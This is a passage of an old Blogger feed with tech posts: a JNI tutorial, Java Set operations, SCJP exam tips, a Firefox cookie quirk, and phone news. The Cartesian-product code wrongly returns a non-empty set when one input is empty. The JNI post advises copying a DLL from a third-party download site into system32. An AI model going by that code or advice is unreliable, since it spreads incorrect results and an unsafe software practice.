inside a C application.&lt;br /&gt;- Compile the C code and generate the native library (dll).&lt;br /&gt;- Run the java program.&lt;br /&gt;&lt;br /&gt;Let us go through each of these steps:&lt;br /&gt;&lt;br /&gt;1. Create a java application that declares the native method.&lt;pre&gt;&lt;br /&gt;/**&lt;br /&gt;* Shows a simple example of using JNI&lt;br /&gt;*/&lt;br /&gt;public class JNIExample {&lt;br /&gt;  //Declare native method&lt;br /&gt;  private native void displayMessage();&lt;br /&gt;&lt;br /&gt;  public static void main(String[] args) {&lt;br /&gt;      //Load native library&lt;br /&gt;      System.loadLibrary("JNIExample");&lt;br /&gt;      //Call the native method&lt;br /&gt;      new JNIExample().displayMessage();&lt;br /&gt;  }&lt;br /&gt;}&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;2. Compile the program.&lt;br /&gt;javac JNIExample.java&lt;br /&gt;&lt;br /&gt;3. Generate the header file using javah.&lt;br /&gt;javah -jni JNIExample&lt;br /&gt;&lt;br /&gt;4. Implement the native code inside a C application.&lt;pre&gt;&lt;br /&gt;#include &lt;jni.h&gt;&lt;br /&gt;#include &lt;stdio.h&gt;&lt;br /&gt;#include "JNIExample.h"&lt;br /&gt;&lt;br /&gt;JNIEXPORT void JNICALL Java_JNIExample_displayMessage&lt;br /&gt;(JNIEnv *lEnv, jobject lObj) {&lt;br /&gt;  printf("This is a JNI Example!\n");&lt;br /&gt;  return;&lt;br /&gt;}&lt;/pre&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;The method signature matches exactly the one from the JNIExample.h header file.&lt;br /&gt;&lt;br /&gt;5. Compile the C code and generate the native library (dll).&lt;br /&gt;Open a Visual Studio (or similar) command prompt. In my case, it was located under "start-&gt;Programs-&gt;Visual C++ 2005 Express Edition-&gt;Visual Studio Tools-&gt;Visual Studio 2005 Command Prompt".&lt;br /&gt;Run the command from the directory where you have the JNIExample.c file:&lt;br /&gt;"cl -I"c:\Program Files\Java\jdk1.5.0_08\include" -I"c:\Program Files\Java\jdk1.5.0_08\include\win32" -MD -LD JNIExample.c -FeJNIExample.dll". Your path to the include directory might be different, so make sure you adjust that according to your settings. The -LD option makes sure that the compiler generates a DLL file. The -MD option makes sure that the DLL generated is linked with the win32 multithreaded C library.&lt;br /&gt;&lt;br /&gt;6. Run the Java program.&lt;br /&gt;java JNIExample&lt;br /&gt;&lt;br /&gt;Some problems I ran into it while testing the code:&lt;br /&gt;- I was missing the msvcr80.dll file, so I downloaded from &lt;a href="http://www.dll-files.com/dllindex/dll-files.shtml?msvcr80"&gt;here&lt;/a&gt; and copied it to c:\windows\system32 directory.&lt;br /&gt;- Even though a manifest file was created, I hade to embedd it inside the dll. I have used the following link to solve the problem: &lt;a href="http://msdn.microsoft.com/en-us/library/ms235591%28VS.80%29.aspx"&gt;http://msdn.microsoft.com/en-us/library/ms235591(VS.80).aspx&lt;/a&gt;. Here is the command: "mt.exe -manifest JNIExample.dll.manifest -outputresource:JNIExample.dll;2"&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7016582772676592992-3932696320123913210?l=mihaifonoage.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mihaifonoage.blogspot.com/feeds/3932696320123913210/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7016582772676592992&amp;postID=3932696320123913210' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/3932696320123913210'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/3932696320123913210'/><link rel='alternate' type='text/html' href='http://mihaifonoage.blogspot.com/2008/09/jni-example.html' title='JNI Example'/><author><name>Mihai Fonoage</name><uri>http://www.blogger.com/profile/10774816347448949131</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://3.bp.blogspot.com/_mPswsGUhiws/Scd6jbPgeBI/AAAAAAAAB6g/GusaeN8FEeA/S220/Mihai_Head_Capture.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7016582772676592992.post-3418838869525086128</id><published>2008-09-13T23:00:00.020-04:00</published><updated>2008-12-07T08:42:34.479-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='UML'/><category scheme='http://www.blogger.com/atom/ns#' term='DSL'/><category scheme='http://www.blogger.com/atom/ns#' term='Microsoft'/><category scheme='http://www.blogger.com/atom/ns#' term='OMG'/><title type='text'>Microsoft joins OMG</title><content type='html'>&lt;div style="text-align: justify;"&gt;On September 10th, Microsoft &lt;a href="http://www.microsoft.com/presspass/press/2008/sep08/09-10OMGModelingPR.mspx"&gt;announced&lt;/a&gt; its membership in the standards body of &lt;a href="http://www.omg.org/"&gt;OMG&lt;/a&gt; (Object Management Group). This does not imply that Microsoft is moving away from its &lt;a href="http://en.wikipedia.org/wiki/Domain_Specific_Language"&gt;DSL&lt;/a&gt; (Domain Specific Language) strategy, where the &lt;a href="http://msdn.microsoft.com/en-us/library/bb126235.aspx"&gt;DSL Toolkit&lt;/a&gt; ships with the &lt;a href="http://www.microsoft.com/downloads/details.aspx?familyid=30402623-93ca-479a-867c-04dc45164f5b&amp;amp;displaylang=en"&gt;Visual Studio SDK&lt;/a&gt;. What Microsoft is doing is actually supporting both DSL and &lt;a href="http://www.uml.org/"&gt;UML&lt;/a&gt;, providing you with the chance to choose the right approach for the right job.&lt;br /&gt;&lt;br /&gt;From the press release:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;“We’re building modeling in as a core part of the platform,” said Bob Muglia, senior vice president, Server and Tools Business at Microsoft. “This enables IT pros to specify their business needs and build applications that work directly from those specifications. It also brings together the different stages of the IT life cycle — connecting business analysts, who specify requirements, with system architects, who design the solution, with developers, who build the applications, and with operations experts, who deploy and maintain the applications. Ultimately, this means IT pros can innovate and respond faster to the needs of their business.”&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7016582772676592992-3418838869525086128?l=mihaifonoage.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mihaifonoage.blogspot.com/feeds/3418838869525086128/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7016582772676592992&amp;postID=3418838869525086128' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/3418838869525086128'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/3418838869525086128'/><link rel='alternate' type='text/html' href='http://mihaifonoage.blogspot.com/2008/09/microsoft-joins-omg.html' title='Microsoft joins OMG'/><author><name>Mihai Fonoage</name><uri>http://www.blogger.com/profile/10774816347448949131</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://3.bp.blogspot.com/_mPswsGUhiws/Scd6jbPgeBI/AAAAAAAAB6g/GusaeN8FEeA/S220/Mihai_Head_Capture.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7016582772676592992.post-4379673828952409732</id><published>2008-09-11T21:25:00.024-04:00</published><updated>2008-12-07T08:42:51.718-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Stealther'/><category scheme='http://www.blogger.com/atom/ns#' term='Yahoo Mail'/><category scheme='http://www.blogger.com/atom/ns#' term='iGoogle'/><category scheme='http://www.blogger.com/atom/ns#' term='Firefox'/><title type='text'>"Accept cookies from sites" remains unchecked in Forefox</title><content type='html'>&lt;div style="text-align: justify;"&gt;In Firefox, something strange started to happen today. Trying to access &lt;a href="http://www.google.com/ig"&gt;iGoogle&lt;/a&gt; and &lt;a href="http://mail.yahoo.com/"&gt;Yahoo! Mail&lt;/a&gt;, they kept telling me that my browser does not accept cookies. How is that possible? I checked my Privacy settings, and there it was, my "Accept cookies from sites" option was not checked. How did that happen? I don't remember unchecking it. No problem, I checked it and started reading my Technology news from iGoogle and checking my email. Some time afterward, guess what? Same problem! Now, I am concerned. I'm thinking my browser is being exploited somehow. But something does not make sense here. By not accepting cookies, I'm actually restricting access, not giving access, I'm increasing my privacy, not decreasing it. OK, so I'm not being exploited, I'm not revealing any private information through my browser, but at the same time, the cookies option somehow gets unchecked. Without keeping you into suspense for much too long, the problem was with one of my browser extensions, &lt;a href="https://addons.mozilla.org/en-US/firefox/addon/1306"&gt;Stealther&lt;/a&gt;, namely it was being used. To be honest, I do not remember starting it (checking it under Tools -&gt; Stealther), but that my friends, is another story.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7016582772676592992-4379673828952409732?l=mihaifonoage.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mihaifonoage.blogspot.com/feeds/4379673828952409732/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7016582772676592992&amp;postID=4379673828952409732' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/4379673828952409732'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/4379673828952409732'/><link rel='alternate' type='text/html' href='http://mihaifonoage.blogspot.com/2008/09/accept-cookies-from-sites-remains.html' title='&quot;Accept cookies from sites&quot; remains unchecked in Forefox'/><author><name>Mihai Fonoage</name><uri>http://www.blogger.com/profile/10774816347448949131</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://3.bp.blogspot.com/_mPswsGUhiws/Scd6jbPgeBI/AAAAAAAAB6g/GusaeN8FEeA/S220/Mihai_Head_Capture.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7016582772676592992.post-3739956609386158514</id><published>2008-09-11T09:36:00.015-04:00</published><updated>2008-12-07T08:43:08.052-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='RIM'/><category scheme='http://www.blogger.com/atom/ns#' term='IBM'/><category scheme='http://www.blogger.com/atom/ns#' term='BlackBerry'/><title type='text'>BlackBerry Flip and IBM's Spoken Web</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;a href="http://www.rim.com/"&gt;RIM&lt;/a&gt; introduced the first &lt;a href="http://www.mobiletechnews.com/info/2008/09/10/133733.html"&gt;BlackBerry Perl Flip 8220&lt;/a&gt; smartphone. The official website for the phone can be found &lt;a href="http://www.blackberry.com/select/blackberrypearlflip/"&gt;here&lt;/a&gt;. Taken from the &lt;a href="http://press.rim.com/release.jsp?id=1813"&gt;RIM press release&lt;/a&gt;:&lt;br /&gt;&lt;br /&gt;"&lt;span style="font-style: italic;"&gt;The quad-band EDGE based BlackBerry Pearl Flip smartphone presents a sophisticated look with a sleek design and a chrome-finished frame surrounding its smooth, luminescent face. Packed with an abundance of powerful features, it weighs only 3.6 ounces and measures approximately 3.9” x 1.9” x 0.7”.  Featuring two high-resolution, light-sensing color displays, the external LCD makes it easy to preview incoming emails, text messages and phone calls without opening the handset, while the large, 240 x 320 internal LCD displays messages, videos and web pages with impressive detail and contrast.&lt;/span&gt; &lt;/div&gt;&lt;p style="text-align: justify;"&gt;&lt;span style="font-style: italic;"&gt;“The popularity of BlackBerry smartphones has grown tremendously around the world and the introduction of this exciting new flip phone will help extend the reach of the BlackBerry platform even further,” said Mike Lazaridis, President and Co-CEO, Research In Motion. “The BlackBerry Pearl Flip is a full-featured smartphone with a unique and friendly design and it is a natural choice for flip phone users who want to start doing more with their phone than just talk.”&lt;/span&gt;"&lt;/p&gt;&lt;p style="text-align: justify;"&gt;Voice quality is assured through the use of Speaker Independent Voice Recognition (SIVR) for Voice Activated Dialing (VAD). It includes "&lt;span style="font-style: italic;"&gt;support for mp3 ring tones, smart dialing, conference calling, speed dialing, call forwarding, voicemail attachment playback and enhanced background noise cancellation.  It also features a speakerphone and Bluetooth® 2.0 for use with hands-free headsets, stereo headsets, car kits and other Bluetooth peripherals such as a GPS receiver. The removable/rechargeable 900 mAhr battery provides four hours of talk time and over 14 days of standby time&lt;/span&gt;".&lt;/p&gt;&lt;p style="text-align: justify;"&gt;IBM is testing a voice-based web browser, developed under the "Spoken Web" project of IBM's India Research Laboratory. Some of the technologies used are Voice eXtensible Markup Language (&lt;a href="http://www.voicexml.org/"&gt;VoiceXML&lt;/a&gt;) and HyperSpeech Transfer Protocol (&lt;a href="http://portal.acm.org/citation.cfm?id=1286240.1286262&amp;amp;jmp=abstract&amp;amp;coll=GUIDE&amp;amp;dl=GUIDE"&gt;HSTP&lt;/a&gt;). You can read more about it &lt;a href="http://www.pcworld.com/article/150938/.html?tk=rss_news"&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;/p&gt;&lt;p style="text-align: justify;"&gt;&lt;br /&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7016582772676592992-3739956609386158514?l=mihaifonoage.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mihaifonoage.blogspot.com/feeds/3739956609386158514/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7016582772676592992&amp;postID=3739956609386158514' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/3739956609386158514'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/3739956609386158514'/><link rel='alternate' type='text/html' href='http://mihaifonoage.blogspot.com/2008/09/blackberry-flip-and-ibms-spoken-web.html' title='BlackBerry Flip and IBM&apos;s Spoken Web'/><author><name>Mihai Fonoage</name><uri>http://www.blogger.com/profile/10774816347448949131</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://3.bp.blogspot.com/_mPswsGUhiws/Scd6jbPgeBI/AAAAAAAAB6g/GusaeN8FEeA/S220/Mihai_Head_Capture.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7016582772676592992.post-6611663965382616005</id><published>2008-08-27T16:05:00.008-04:00</published><updated>2008-12-07T08:43:21.672-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='PC World'/><title type='text'>12 Sly Web Tricks That Put You in Control</title><content type='html'>&lt;div style="text-align: justify;"&gt;Great article on PC World about &lt;a href="http://www.pcworld.com/article/150141/12_sly_web_tricks_that_put_you_in_control.html"&gt;12 Sly Web Tricks That Put You in Control&lt;/a&gt;. You find out how you can Turn Wi-Fi Thieves' Worlds Upside Down (literally), Make a Laptop Thief Regret It, Finding out if the email you sent was read or not, Send a Self-Destructing Email, and other similar (and sometimes very useful) information.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7016582772676592992-6611663965382616005?l=mihaifonoage.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mihaifonoage.blogspot.com/feeds/6611663965382616005/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7016582772676592992&amp;postID=6611663965382616005' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/6611663965382616005'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/6611663965382616005'/><link rel='alternate' type='text/html' href='http://mihaifonoage.blogspot.com/2008/08/12-sly-web-tricks-that-put-you-in.html' title='12 Sly Web Tricks That Put You in Control'/><author><name>Mihai Fonoage</name><uri>http://www.blogger.com/profile/10774816347448949131</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://3.bp.blogspot.com/_mPswsGUhiws/Scd6jbPgeBI/AAAAAAAAB6g/GusaeN8FEeA/S220/Mihai_Head_Capture.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7016582772676592992.post-7308407205052362965</id><published>2008-08-26T18:23:00.071-04:00</published><updated>2009-04-30T10:38:35.997-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java'/><category scheme='http://www.blogger.com/atom/ns#' term='Sets'/><title type='text'>Basic Set operations in Java</title><content type='html'>How do we work with &lt;a href="http://en.wikipedia.org/wiki/Sets"&gt;Sets&lt;/a&gt; in Java when it comes to performing the basic operations: Union, Intersection, Subset, Complement, Cartesian Product (for which there is no standard Java method in the Set Interface)? Do we have some kind of a collection that maps this mathematical concept into Java? Yes we do.&lt;br /&gt;&lt;br /&gt;The &lt;a href="http://java.sun.com/javase/6/docs/api/java/util/Set.html"&gt;Set&lt;/a&gt; Interface models the mathematical concept of a set and it is a &lt;a href="http://java.sun.com/javase/6/docs/api/java/util/Collection.html"&gt;Collection &lt;/a&gt;that contains no duplicate objects.  Before talking about the specific methods that we will use, you must be aware of the three most used Set implementations: &lt;a href="http://java.sun.com/javase/6/docs/api/java/util/HashSet.html"&gt;HashSet&lt;/a&gt; (uses a hash table to store its elements), &lt;a href="http://java.sun.com/javase/6/docs/api/java/util/LinkedHashSet.html"&gt;LinkedHashSet&lt;/a&gt; (HashSet that also maintains a doubly-linked list running through all of its entries), and &lt;a href="http://java.sun.com/javase/6/docs/api/java/util/TreeSet.html"&gt;TreeSet&lt;/a&gt; (a sorted set).&lt;br /&gt;&lt;br /&gt;Assume we have two sets s1 and s2. Going back to the basic set operations, we have:&lt;br /&gt;- Union: the union of sets s1 and s2 is a set whose elements are contained in either set s1 or s2.&lt;pre&gt;&lt;br /&gt;Java: &lt;span style=";font-family:courier new;font-size:100%;"  &gt;s1.addAll(s2)&lt;/span&gt; - adds all elements from s2&lt;br /&gt; in s1 if they are not already present.&lt;/pre&gt;&lt;br /&gt;- Intersection: the intersection of two sets s1 and s2 is a set whose elements are in both s1 and s2.&lt;pre&gt; &lt;br /&gt;Java: &lt;span style=";font-family:courier new;font-size:100%;"  &gt;s1.retainAll(s2)&lt;/span&gt; - s1 becomes the intersection of&lt;br /&gt; s1 and s2.&lt;/pre&gt;&lt;br /&gt;- Subset: s2 is a subset of s1 if all elements of s2 are also elements of s1.&lt;pre&gt;&lt;br /&gt;Java: &lt;span style=";font-family:courier new;font-size:100%;"  &gt;s1.containsAll(s2)&lt;/span&gt; - returns true if s1 contains&lt;br /&gt; all of the elements of s2.&lt;/pre&gt;&lt;br /&gt;- Complement: the complement of s2 in s1, denoted s1 - s2, is a set of all elements that are members of s1 but not of s2.&lt;pre&gt;&lt;br /&gt;Java: &lt;span style=";font-family:courier new;font-size:100%;"  &gt;s1.removeAll(s2)&lt;/span&gt; - removes from s1 all the&lt;br /&gt; elements that are also contained in s2.&lt;/pre&gt;&lt;br /&gt;- Cartesian Products: the Cartesian product of two sets s1 and s2 is the set of all &lt;a href="http://en.wikipedia.org/wiki/Ordered_pairs"&gt;ordered pairs&lt;/a&gt; (x, y), where x is an element in s1, and y is an element in s2.&lt;pre&gt;&lt;br /&gt;Java: &lt;span style="font-size:100%;"&gt;public static Set computeCartesianProduct(Set s1,&lt;br /&gt;Set s2) {&lt;br /&gt;    Set&lt;/span&gt;&lt;string&gt;&lt;span style="font-size:100%;"&gt; result = null;&lt;br /&gt;    if (s1 == null || s2 == null) {&lt;br /&gt;        throw new IllegalArgumentException();&lt;br /&gt;    }&lt;br /&gt;    if (s1.isEmpty()) {&lt;br /&gt;        return s2;&lt;br /&gt;    }&lt;br /&gt;    if (s2.isEmpty()) {&lt;br /&gt;        return s1;&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    result = new HashSet&lt;/span&gt;&lt;string&gt;&lt;span style="font-size:100%;"&gt;();&lt;br /&gt;    for (Object obj1 : s1) {&lt;br /&gt;        for (Object obj2 : s2) {&lt;br /&gt;            result.add("(" + obj1 + "," + obj2 + ")");&lt;br /&gt;        }&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    return result;&lt;br /&gt;}&lt;/span&gt;&lt;br /&gt;&lt;/string&gt;&lt;/string&gt;&lt;/pre&gt;&lt;br /&gt;UPDATE (04/30/09): For the Cartesian Product operation above, I have used a raw type for unknown set element type. As of Java 1.5, you should consider using generics. For example, you should use an unbounded wildcard type for the input parameters of the computeCartesianProduct method, making the above code type safe and more flexible. This implies that instead of using the declaration &lt;span style="font-size:85%;"&gt;&lt;span style="font-family:courier new;"&gt;Set s1&lt;/span&gt;&lt;/span&gt;, you should actually have &lt;span style="font-size:85%;"&gt;&lt;span style="font-family:courier new;"&gt;Set&amp;lt;?&amp;gt; s1&lt;/span&gt;&lt;/span&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7016582772676592992-7308407205052362965?l=mihaifonoage.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mihaifonoage.blogspot.com/feeds/7308407205052362965/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7016582772676592992&amp;postID=7308407205052362965' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/7308407205052362965'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/7308407205052362965'/><link rel='alternate' type='text/html' href='http://mihaifonoage.blogspot.com/2008/08/basic-set-operations-in-java.html' title='Basic Set operations in Java'/><author><name>Mihai Fonoage</name><uri>http://www.blogger.com/profile/10774816347448949131</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://3.bp.blogspot.com/_mPswsGUhiws/Scd6jbPgeBI/AAAAAAAAB6g/GusaeN8FEeA/S220/Mihai_Head_Capture.jpg'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7016582772676592992.post-6922988598099278555</id><published>2008-08-22T16:43:00.015-04:00</published><updated>2009-09-30T07:49:46.799-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='SCJP'/><category scheme='http://www.blogger.com/atom/ns#' term='Java'/><category scheme='http://www.blogger.com/atom/ns#' term='Sun'/><category scheme='http://www.blogger.com/atom/ns#' term='SCJA'/><title type='text'>Sun Certified Java Programmer (SCJP) Exam</title><content type='html'>&lt;div style="text-align: justify;"&gt;Today, I passed the Sun Certified Java Programmer (&lt;a href="http://www.sun.com/training/certification/java/scjp.xml"&gt;SCJP&lt;/a&gt; 1.5) exam. Throughout this post, I will share my experience preparing for it.&lt;br /&gt;&lt;br /&gt;Before I get started, a little bit of background. I started developing in Java in 2001 (second year of college). Most of the software I have written was using the &lt;a href="http://java.sun.com/javase/index.jsp"&gt;standard&lt;/a&gt; and &lt;a href="http://java.sun.com/javame/index.jsp"&gt;mobile&lt;/a&gt; editions of the Java Platform. I have some knowledge of the &lt;a href="http://java.sun.com/javaee/"&gt;enterprise&lt;/a&gt; world of Java, but mostly through &lt;a href="http://java.sun.com/products/servlet/"&gt;Servlets&lt;/a&gt; and &lt;a href="http://java.sun.com/products/jsp/"&gt;JSPs&lt;/a&gt; than anything else. In addition, I took a 6-months Java tutorial back in 2005 that covered OO Topics and Java Core (everything up to concurrency), Java Advanced (concurrency, networking, RMI, JDBC, XML) and Java Enterprise (Servlets, JSP, Custom Tags, JMS, EJB). Hence, I was not knew to this technology when I first started preparing for the SCJP exam in mid June (I also became a &lt;a href="http://www.sun.com/training/certification/java/scja.xml"&gt;SCJA&lt;/a&gt; in January this year).&lt;br /&gt;&lt;br /&gt;First step was to find a study book. This was not hard since I already knew about the &lt;a href="http://www.amazon.com/Certified-Programmer-310-055-Certification-Guides/dp/0072253606"&gt;SCJP for Java 5 Study Guide&lt;/a&gt; from Sierra and Bates (I already had the 1.4 version of the book). This is an excellent material, no doubt about it. It has a complete coverage of the exam objectives,  examples, exercises, exam watches, basically anything you would possibly want from a certification book. Highly recommend it. I only went through this book once, done most of the exercises, and took the free practice exam that comes with the CD (you also get a bonus MasterExam practice test). Once I indentified my weaknesses, I went over again through the specific chapters in the book. At the end, I took the MasterExam practice test and did a little better. How many times you read the book really depends on you, on how familiar you are with Java, on how fast you graps the topics detailed there. I read about people who read the books as many as five times. If you think it helps, and you have time, it is up to you!&lt;br /&gt;Now I have to mention that the two practice tests were the hardest from all the test that I have done afterwards, harder than the exam, hence if you nail these tests, the real exam will feel much easier. It might be harder also because, like other practice tests I took, when you get a multiple-choice question, they don't specify how many correct answers you have, while the real exam, and some of the other test, does. I understood the reason why it is not specified, but I would have wanted an option from where to choose if I should be given, or not, the number of correct answers.&lt;br /&gt;&lt;br /&gt;Next step, a combination of taking many mock exams, and reading online SCJP notes. The best place to go for this is to the &lt;a href="http://saloon.javaranch.com/cgi-bin/ubb/ultimatebb.cgi?ubb=forum&amp;amp;f=24"&gt;Java Ranch SCJP Forum&lt;/a&gt; webpage. How much it helped me? Enormous! Beside the benefit of having a forum specifically dedicated for SCJP, you get links to basically anything that you might want (and need) for this exam, such as faq, notes, mock exams, etc. Such a pool of resources gathered under one roof is almost impossible to find. Two thumbs up for everybody involved there!&lt;br /&gt;&lt;br /&gt;If you want commercial practice tests, I would suggest &lt;a href="http://www.whizlabs.com/"&gt;Whizlabs&lt;/a&gt;, &lt;a href="http://www.ucertify.com/"&gt;uCertify&lt;/a&gt;, Sun's own &lt;a href="http://www.sun.com/training/catalog/courses/WGS-PREX-J055C.xml"&gt;ePractice Certification Exam&lt;/a&gt;. From what I read, and from my own experience, I would say that Whizlabs is harder than any practice exams I know (except the one from the book). It contains tips, study notes, and 4 practice exams - best overall preparation kit. uCertify is a bit easier than the real exam, and it contained minor software errors, but was a good resource in the end. Bundled in it come 7 tests, tips, notes, etc . Sun's web-based practice exam came the closest to how the real exam was (which kind of makes sense, I know). This is the main reason I bough it. The score that I got form the third (and last) practice test was the one I got in the real exam.&lt;br /&gt;&lt;br /&gt;Going through many mock exams and practice tests, I started writing my own SCJP Notes document. It contains everything that I thought was essential for the exam (inspired from the book and many existing online notes), together with things I have missed at tests (my own weaknesses if you like). You can read the document &lt;a href="http://www.scribd.com/doc/20423977/Notes-for-SCJP-5-CX310055"&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;As for the exam itself, you get 210 minutes (I was done in around 130 minutes). Honestly, I thought I would do worse than I did. I was unsure on some of the answers I had given, but when you take so many mock and practice exams, when you read from the many resources available out there, you have to start trusting your guts. And this is mostly true on API related questions, i.e. does the reverse method exist in both String and StringBuffer classes? What about replace? Java 1.5 specific questions (topics not present on older versions of Java) were on the exam quite often (such as generics, autoboxing, varags, etc).  The Thread-related questions were harder than I expected, and I did the worse on that section than I did on any other (only 75%). In the practice exams, threads were one of my strongest suites. If you aks me, Concurrency, Generics and Collections are the hardest topics around.&lt;br /&gt;&lt;br /&gt;What can I say more? Good luck to any of you who want to take this exam, and if you have any questions, drop me a comment.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7016582772676592992-6922988598099278555?l=mihaifonoage.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mihaifonoage.blogspot.com/feeds/6922988598099278555/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7016582772676592992&amp;postID=6922988598099278555' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/6922988598099278555'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/6922988598099278555'/><link rel='alternate' type='text/html' href='http://mihaifonoage.blogspot.com/2008/08/sun-certified-java-programmer-scjp-exam.html' title='Sun Certified Java Programmer (SCJP) Exam'/><author><name>Mihai Fonoage</name><uri>http://www.blogger.com/profile/10774816347448949131</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://3.bp.blogspot.com/_mPswsGUhiws/Scd6jbPgeBI/AAAAAAAAB6g/GusaeN8FEeA/S220/Mihai_Head_Capture.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7016582772676592992.post-9172182543377355961</id><published>2008-08-19T21:57:00.012-04:00</published><updated>2008-12-07T08:46:37.154-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Motorola'/><category scheme='http://www.blogger.com/atom/ns#' term='Nokia'/><category scheme='http://www.blogger.com/atom/ns#' term='LG'/><category scheme='http://www.blogger.com/atom/ns#' term='Cell Phone'/><category scheme='http://www.blogger.com/atom/ns#' term='Apple'/><title type='text'>Cell Phones - Top 3 best sellers</title><content type='html'>&lt;div style="text-align: justify;"&gt;I remember reading about it a while ago. Digging a little through the Internet, I found the source in &lt;a href="http://www.engadget.com/2007/05/07/nokias-1100-handset-over-200-million-served/"&gt;engadget&lt;/a&gt;. Here are the facts:&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;ol style="text-align: justify;"&gt;&lt;li&gt;&lt;a href="http://en.wikipedia.org/wiki/Nokia_1100"&gt;Nokia 1100&lt;/a&gt; - around 200 million units sold.&lt;/li&gt;&lt;li&gt;&lt;a href="http://en.wikipedia.org/wiki/RAZR"&gt;Motorola RAZR V3&lt;/a&gt; - around 50 million units sold (although I believe that the 